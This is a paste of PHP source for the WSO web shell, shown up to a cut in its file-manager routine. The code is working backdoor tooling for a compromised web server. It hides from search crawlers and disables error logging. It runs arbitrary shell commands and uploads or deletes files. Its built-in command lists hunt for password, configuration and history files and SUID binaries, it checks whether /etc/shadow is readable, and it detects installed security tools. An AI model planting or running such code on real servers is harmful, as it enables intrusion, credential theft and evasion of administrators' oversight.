· 10 years ago · Jun 30, 2016, 06:24 PM
1<?php
2echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
3
4<style type='text/css'>
5input[type=submit], input[type=button], input[type=reset]{
6 text-align:center;
7 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
8 border:1px solid #4D4D4D;
9 color:#CCCCCC;
10 border-top-color:#565656;
11 padding:4px 6px;
12 margin:4px 5px;
13 height:16px;
14 -moz-box-shadow:0 0 1px black;
15 -webkit-box-shadow:0 0 1px black;
16 box-shadow:0 0 1px black;
17 text-shadow:0 1px black;
18 -moz-border-radius:4px;
19 -webkit-border-radius:4px;
20 -khtml-border-radius:4px;
21 border-radius:4px;
22 height:23px;
23}
24
25input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
26 background-position:center top;
27 text-decoration:none;
28}
29input[type=text], input[type=password]{
30 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
31 border:1px solid #4D4D4D;
32 color:#CCCCCC;
33 border-top-color:#565656;
34 -moz-box-shadow:0 0 1px black;
35 -webkit-box-shadow:0 0 1px black;
36 box-shadow:0 0 1px black;
37 -moz-border-radius:4px;
38 -webkit-border-radius:4px;
39 -khtml-border-radius:4px;
40 border-radius:4px;
41 height:18px;
42 margin-left: 5px;
43}
44input , textarea , button , body , caption , table ,area , option {
45 outline:none;
46 transition: all 0.20s ease-in-out;
47 -webkit-transition: all 0.25s ease-in-out;
48 -moz-transition: all 0.25s ease-in-out;
49 border-radius:3px;
50 -webkit-border-radius:3px;
51 -moz-border-radius:3px;
52 border:1px solid rgba(0,0,0, 0.2);
53/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
54}
55input , textarea {
56 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
57}
58
59
60input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
61 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
62 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
63 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
64
65 border: 1px solid #CCCC00;
66
67 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
68 overflow: auto;
69/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
70}
71
72body{
73/* font-family : Verdana; */
74 color : #f9f6f1;
75 font-size : 0.7em;
76 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
77}
78input , textarea {
79 outline:none;
80 transition: all 0.20s ease-in-out;
81 -webkit-transition: all 0.25s ease-in-out;
82 -moz-transition: all 0.25s ease-in-out;
83 border-radius:3px;
84 -webkit-border-radius:3px;
85 -moz-border-radius:3px;
86 border:1px solid rgba(0,0,0, 0.2);
87}
88input:focus, textarea:focus {
89 outline: 0;
90 border-color: rgba(82, 168, 236, 0.8);
91 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
92 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
93 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
94
95
96 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
97 overflow: auto;
98
99}
100
101
102 </style>
103 ";
104$_SESSION[$_SERVER['HTTP_HOST']] = true;
105$color = "#df5"; //Colour
106$default_action = "FilesMan";
107$default_charset = "Windows-1251";
108if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
109 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
110 foreach($userAgents as $agent)
111 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
112 header('HTTP/1.0 404 Not Found');
113 exit;
114 }
115}
116@session_start();
117@error_reporting(0);
118@ini_set('error_log',NULL);
119@ini_set('log_errors',0);
120@ini_set('max_execution_time',0);
121@set_time_limit(0);
122@set_magic_quotes_runtime(0);
123@define('VERSION', '3.0');
124if( get_magic_quotes_gpc() ) {
125 function WSOstripslashes($array) {
126 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
127 }
128 $_POST = WSOstripslashes($_POST);
129}
130
131if( strtolower( substr(PHP_OS,0,3) ) == "win" )
132 $os = 'win';
133else
134 $os = 'nix';
135$safe_mode = @ini_get('safe_mode');
136$disable_functions = @ini_get('disable_functions');
137$home_cwd = @getcwd();
138if( isset( $_POST['c'] ) )
139 @chdir($_POST['c']);
140$cwd = @getcwd();
141if( $os == 'win') {
142 $home_cwd = str_replace("\", "/", $home_cwd);
143 $cwd = str_replace("\", "/", $cwd);
144}
145if( $cwd[strlen($cwd)-1] != '/' )
146 $cwd .= '/';
147
148if($os == 'win')
149 $aliases = array(
150 "List Directory" => "dir",
151 "Find index.php in current dir" => "dir /s /w /b index.php",
152 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
153 "Show active connections" => "netstat -an",
154 "Show running services" => "net start",
155 "User accounts" => "net user",
156 "Show computers" => "net view",
157 "ARP Table" => "arp -a",
158 "IP Configuration" => "ipconfig /all"
159 );
160else
161 $aliases = array(
162 "List dir" => "ls -lha",
163 "list file attributes on a Linux second extended file system" => "lsattr -va",
164 "show opened ports" => "netstat -an | grep -i listen",
165 "Find" => "",
166 "find all suid files" => "find / -type f -perm -04000 -ls",
167 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
168 "find all sgid files" => "find / -type f -perm -02000 -ls",
169 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
170 "find config.inc.php files" => "find / -type f -name config.inc.php",
171 "find config* files" => "find / -type f -name \"config*\"",
172 "find config* files in current dir" => "find . -type f -name \"config*\"",
173 "find all writable folders and files" => "find / -perm -2 -ls",
174 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
175 "find all service.pwd files" => "find / -type f -name service.pwd",
176 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
177 "find all .htpasswd files" => "find / -type f -name .htpasswd",
178 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
179 "find all .bash_history files" => "find / -type f -name .bash_history",
180 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
181 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
182 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
183 "Locate" => "",
184 "locate httpd.conf files" => "locate httpd.conf",
185 "locate vhosts.conf files" => "locate vhosts.conf",
186 "locate proftpd.conf files" => "locate proftpd.conf",
187 "locate psybnc.conf files" => "locate psybnc.conf",
188 "locate my.conf files" => "locate my.conf",
189 "locate admin.php files" =>"locate admin.php",
190 "locate cfg.php files" => "locate cfg.php",
191 "locate conf.php files" => "locate conf.php",
192 "locate config.dat files" => "locate config.dat",
193 "locate config.php files" => "locate config.php",
194 "locate config.inc files" => "locate config.inc",
195 "locate config.inc.php" => "locate config.inc.php",
196 "locate config.default.php files" => "locate config.default.php",
197 "locate config* files " => "locate config",
198 "locate .conf files"=>"locate '.conf'",
199 "locate .pwd files" => "locate '.pwd'",
200 "locate .sql files" => "locate '.sql'",
201 "locate .htpasswd files" => "locate '.htpasswd'",
202 "locate .bash_history files" => "locate '.bash_history'",
203 "locate .mysql_history files" => "locate '.mysql_history'",
204 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
205 "locate backup files" => "locate backup",
206 "locate dump files" => "locate dump",
207 "locate priv files" => "locate priv"
208 );
209
210function wsoHeader() {
211 if(empty($_POST['charset']))
212 $_POST['charset'] = $GLOBALS['default_charset'];
213 global $color;
214 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO [Black-ID] " . VERSION ."</title>
215<style>
216body{background-color:#444;color:#e1e1e1;}
217body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
218table.info{ color:#fff;background-color:#222; }
219span,h1,a{ color: $color !important; }
220span{ font-weight: bolder; }
221h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
222div.content{ padding: 5px;margin-left:5px;background-color:#333; }
223a{ text-decoration:none; }
224a:hover{ text-decoration:underline; }
225.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
226.bigarea{ width:100%;height:250px; }
227input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
228form{ margin:0px; }
229#toolsTbl{ text-align:center; }
230.toolsInp{ width: 300px }
231.main th{text-align:left;background-color:#5e5e5e;}
232.main tr:hover{background-color:#5e5e5e}
233.l1{background-color:#444}
234pre{font-family:Courier,Monospace;}
235</style>
236<script>
237 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
238 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
239 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
240 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
241 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
242 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
243 function set(a,c,p1,p2,p3,charset) {
244 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
245 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
246 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
247 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
248 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
249 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
250 }
251 function g(a,c,p1,p2,p3,charset) {
252 set(a,c,p1,p2,p3,charset);
253 document.mf.submit();
254 }
255 function a(a,c,p1,p2,p3,charset) {
256 set(a,c,p1,p2,p3,charset);
257 var params = 'ajax=true';
258 for(i=0;i<document.mf.elements.length;i++)
259 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
260 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
261 }
262 function sr(url, params) {
263 if (window.XMLHttpRequest)
264 req = new XMLHttpRequest();
265 else if (window.ActiveXObject)
266 req = new ActiveXObject('Microsoft.XMLHTTP');
267 if (req) {
268 req.onreadystatechange = processReqChange;
269 req.open('POST', url, true);
270 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
271 req.send(params);
272 }
273 }
274 function processReqChange() {
275 if( (req.readyState == 4) )
276 if(req.status == 200) {
277 var reg = new RegExp(\"(\\d+)([\\S\\s]*)\", 'm');
278 var arr=reg.exec(req.responseText);
279 eval(arr[2].substr(0, arr[1]));
280 } else alert('Request error!');
281 }
282</script>
283<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
284<form method=post name=mf style='display:none;'>
285<input type=hidden name=a>
286<input type=hidden name=c>
287<input type=hidden name=p1>
288<input type=hidden name=p2>
289<input type=hidden name=p3>
290<input type=hidden name=charset>
291</form>";
292 $freeSpace = @diskfreespace($GLOBALS['cwd']);
293 $totalSpace = @disk_total_space($GLOBALS['cwd']);
294 $totalSpace = $totalSpace?$totalSpace:1;
295 $release = @php_uname('r');
296 $kernel = @php_uname('s');
297 $exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
298 if( strpos('Linux', $kernel) !== false )
299 $exdblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
300 else
301 $exdblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
302 if(!function_exists('posix_getegid')) {
303 $user = @get_current_user();
304 $uid = @getmyuid();
305 $gid = @getmygid();
306 $group = "?";
307 } else {
308 $uid = @posix_getpwuid(@posix_geteuid());
309 $gid = @posix_getgrgid(@posix_getegid());
310 $user = $uid['name'];
311 $uid = $uid['uid'];
312 $group = $gid['name'];
313 $gid = $gid['gid'];
314 }
315 $cwd_links = '';
316 $path = explode("/", $GLOBALS['cwd']);
317 $n=count($path);
318 for($i=0;$i<$n-1;$i++) {
319 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
320 for($j=0;$j<=$i;$j++)
321 $cwd_links .= $path[$j].'/';
322 $cwd_links .= "\")'>".$path[$i]."/</a>";
323 }
324 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
325 $opt_charsets = '';
326 foreach($charsets as $item)
327 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
328 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Mass'=>'Mass','Domains'=>'Domain','Sql'=>'Sql','Safe mode'=>'SafeMode','String tools'=>'StringTools','Network'=>'Network');
329 $m['Self remove'] = 'SelfRemove';
330 $menu = '';
331 foreach($m as $k => $v)
332 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
333 $drives = "";
334 if ($GLOBALS['os'] == 'win') {
335 foreach( range('c','z') as $drive )
336 if (is_dir($drive.':\'))
337 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
338 }
339 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
340 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$exdblink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
341 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>'.
342 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
343}
344
345function wsoFooter() {
346 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
347 echo "
348</div>
349<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
350 <tr>
351 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
352 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
353 </tr><tr>
354 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
355 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
356 </tr><tr>
357 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
358 <td><form method='post' ENCTYPE='multipart/form-data'>
359 <input type=hidden name=a value='FilesMAn'>
360 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
361 <input type=hidden name=p1 value='uploadFile'>
362 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
363 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
364 </tr></table></div></body></html>";
365}
366
367if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
368if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
369function wsoEx($in) {
370 $out = '';
371 if(function_exists('exec')) {
372 @exec($in,$out);
373 $out = @join("\n",$out);
374 }elseif(function_exists('passthru')) {
375 ob_start();
376 @passthru($in);
377 $out = ob_get_clean();
378 }elseif(function_exists('system')) {
379 ob_start();
380 @system($in);
381 $out = ob_get_clean();
382 }elseif(function_exists('shell_exec')) {
383 $out = shell_exec($in);
384 }elseif(is_resource($f = @popen($in,"r"))) {
385 $out = "";
386 while(!@feof($f))
387 $out .= fread($f,1024);
388 pclose($f);
389 }
390 return $out;
391}
392function wsoViewSize($s) {
393 if($s >= 1073741824)
394 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
395 elseif($s >= 1048576)
396 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
397 elseif($s >= 1024)
398 return sprintf('%1.2f', $s / 1024 ) . ' KB';
399 else
400 return $s . ' B';
401}
402
403function wsoPerms($p) {
404 if (($p & 0xC000) == 0xC000)$i = 's';
405 elseif (($p & 0xA000) == 0xA000)$i = 'l';
406 elseif (($p & 0x8000) == 0x8000)$i = '-';
407 elseif (($p & 0x6000) == 0x6000)$i = 'b';
408 elseif (($p & 0x4000) == 0x4000)$i = 'd';
409 elseif (($p & 0x2000) == 0x2000)$i = 'c';
410 elseif (($p & 0x1000) == 0x1000)$i = 'p';
411 else $i = 'u';
412 $i .= (($p & 0x0100) ? 'r' : '-');
413 $i .= (($p & 0x0080) ? 'w' : '-');
414 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
415 $i .= (($p & 0x0020) ? 'r' : '-');
416 $i .= (($p & 0x0010) ? 'w' : '-');
417 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
418 $i .= (($p & 0x0004) ? 'r' : '-');
419 $i .= (($p & 0x0002) ? 'w' : '-');
420 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
421 return $i;
422}
423function wsoPermsColor($f) {
424 if (!@is_readable($f))
425 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
426 elseif (!@is_writable($f))
427 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
428 else
429 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
430}
431if(!function_exists("scandir")) {
432 function scandir($dir) {
433 $dh = opendir($dir);
434 while (false !== ($filename = readdir($dh))) {
435 $files[] = $filename;
436 }
437 return $files;
438 }
439}
440function wsoWhich($p) {
441 $path = wsoEx('which '.$p);
442 if(!empty($path))
443 return $path;
444 return false;
445}
446function actionSecInfo() {
447 wsoHeader();
448 echo '<h1>Server security information</h1><div class=content>';
449 function wsoSecParam($n, $v) {
450 $v = trim($v);
451 if($v) {
452 echo '<span>'.$n.': </span>';
453 if(strpos($v, "\n") === false)
454 echo $v.'<br>';
455 else
456 echo '<pre class=ml1>'.$v.'</pre>';
457 }
458 }
459
460 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
461 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
462 wsoSecParam('Open base dir', @ini_get('open_basedir'));
463 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
464 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
465 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
466 $temp=array();
467 if(function_exists('mysql_get_client_info'))
468 $temp[] = "MySql (".mysql_get_client_info().")";
469 if(function_exists('mssql_connect'))
470 $temp[] = "MSSQL";
471 if(function_exists('pg_connect'))
472 $temp[] = "PostgreSQL";
473 if(function_exists('oci_connect'))
474 $temp[] = "Oracle";
475 wsoSecParam('Supported databases', implode(', ', $temp));
476 echo '<br>';
477
478 if( $GLOBALS['os'] == 'nix' ) {
479 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
480 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
481 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
482 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
483 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
484 wsoSecParam('OS version', @file_get_contents('/proc/version'));
485 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
486 if(!$GLOBALS['safe_mode']) {
487 echo '<br>';
488 $temp=array();
489 foreach ($userful as $item)
490 if(wsoWhich($item)){$temp[]=$item;}
491 wsoSecParam('Userful', implode(', ',$temp));
492 $temp=array();
493 foreach ($danger as $item)
494 if(wsoWhich($item)){$temp[]=$item;}
495 wsoSecParam('Danger', implode(', ',$temp));
496 $temp=array();
497 foreach ($downloaders as $item)
498 if(wsoWhich($item)){$temp[]=$item;}
499 wsoSecParam('Downloaders', implode(', ',$temp));
500 echo '<br/>';
501 wsoSecParam('HDD space', wsoEx('df -h'));
502 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
503 }
504 } else {
505 wsoSecParam('OS Version',wsoEx('ver'));
506 wsoSecParam('Account Settings',wsoEx('net accounts'));
507 wsoSecParam('User Accounts',wsoEx('net user'));
508 }
509 echo '</div>';
510 wsoFooter();
511}
512
513
514
515function actionFilesMan() {
516 wsoHeader();
517 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
518 if(!empty($_POST['p1'])) {
519 switch($_POST['p1']) {
520 case 'uploadFile':
521 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
522 echo "Can't upload file!";
523 break;
524 case 'mkdir':
525 if(!@mkdir($_POST['p2']))
526 echo "Can't create new dir";
527 break;
528 case 'delete':
529 function deleteDir($path) {
530 $path = (substr($path,-1)=='/') ? $path:$path.'/';
531 $dh = opendir($path);
532 while ( ($item = readdir($dh) ) !== false) {
533 $item = $path.$item;
534 if ( (basename($item) == "..") || (basename($item) == ".") )
535 continue;
536 $type = filetype($item);
537 if ($type == "dir")
538 deleteDir($item);
539 else
540 @unlink($item);
541 }
542 closedir($dh);
543 rmdir($path);
544 }
545 if(is_array(@$_POST['f']))
546 foreach($_POST['f'] as $f) {
547 $f = urldecode($f);
548 if(is_dir($f))
549 deleteDir($f);
550 else
551 @unlink($f);
552 }
553 break;
554 case 'paste':
555 if($_SESSION['act'] == 'copy') {
556 function copy_paste($c,$s,$d){
557 if(is_dir($c.$s)){
558 mkdir($d.$s);
559 $h = @opendir($c.$s);
560 while (($f = @readdir($h)) !== false)
561 if (($f != ".") and ($f != "..")) {
562 copy_paste($c.$s.'/',$f, $d.$s.'/');
563 }
564 } elseif(is_file($c.$s)) {
565 @copy($c.$s, $d.$s);
566 }
567 }
568 foreach($_SESSION['f'] as $f)
569 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
570 } elseif($_SESSION['act'] == 'move') {
571 function move_paste($c,$s,$d){
572 if(is_dir($c.$s)){
573 mkdir($d.$s);
574 $h = @opendir($c.$s);
575 while (($f = @readdir($h)) !== false)
576 if (($f != ".") and ($f != "..")) {
577 copy_paste($c.$s.'/',$f, $d.$s.'/');
578 }
579 } elseif(@is_file($c.$s)) {
580 @copy($c.$s, $d.$s);
581 }
582 }
583 foreach($_SESSION['f'] as $f)
584 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
585 } elseif($_SESSION['act'] == 'zip') {
586 if(class_exists('ZipArchive')) {
587 $zip = new ZipArchive();
588 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
589 chdir($_SESSION['c']);
590 foreach($_SESSION['f'] as $f) {
591 if(@is_file($_SESSION['c'].$f))
592 $zip->addFile($_SESSION['c'].$f, $f);
593 elseif(@is_dir($_SESSION['c'].$f)) {
594 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
595 foreach ($iterator as $key=>$value) {
596 $zip->addFile(realpath($key), $key);
597 }
598 }
599 }
600 chdir($GLOBALS['cwd']);
601 $zip->close();
602 }
603 }
604 } elseif($_SESSION['act'] == 'unzip') {
605 if(class_exists('ZipArchive')) {
606 $zip = new ZipArchive();
607 foreach($_SESSION['f'] as $f) {
608 if($zip->open($_SESSION['c'].$f)) {
609 $zip->extractTo($GLOBALS['cwd']);
610 $zip->close();
611 }
612 }
613 }
614 }
615 unset($_SESSION['f']);
616 break;
617 default:
618 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
619 $_SESSION['act'] = @$_POST['p1'];
620 $_SESSION['f'] = @$_POST['f'];
621 foreach($_SESSION['f'] as $k => $f)
622 $_SESSION['f'][$k] = urldecode($f);
623 $_SESSION['c'] = @$_POST['c'];
624 }
625 break;
626 }
627 }
628 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
629 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
630 global $sort;
631 $sort = array('name', 1);
632 if(!empty($_POST['p1'])) {
633 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
634 $sort = array($match[1], (int)$match[2]);
635 }
636echo "<script>
637 function sa() {
638 for(i=0;i<document.files.elements.length;i++)
639 if(document.files.elements[i].type == 'checkbox')
640 document.files.elements[i].checked = document.files.elements[0].checked;
641 }
642</script>
643<table width='100%' class='main' cellspacing='0' cellpadding='2'>
644<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
645 $dirs = $files = array();
646 $n = count($dirContent);
647 for($i=0;$i<$n;$i++) {
648 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
649 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
650 $tmp = array('name' => $dirContent[$i],
651 'path' => $GLOBALS['cwd'].$dirContent[$i],
652 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
653 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
654 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
655 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
656 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
657 );
658 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
659 $files[] = array_merge($tmp, array('type' => 'file'));
660 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
661 $dirs[] = array_merge($tmp, array('type' => 'link'));
662 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
663 $dirs[] = array_merge($tmp, array('type' => 'dir'));
664 }
665 $GLOBALS['sort'] = $sort;
666 function wsoCmp($a, $b) {
667 if($GLOBALS['sort'][0] != 'size')
668 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
669 else
670 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
671 }
672 usort($files, "wsoCmp");
673 usort($dirs, "wsoCmp");
674 $files = array_merge($dirs, $files);
675 $l = 0;
676 foreach($files as $f) {
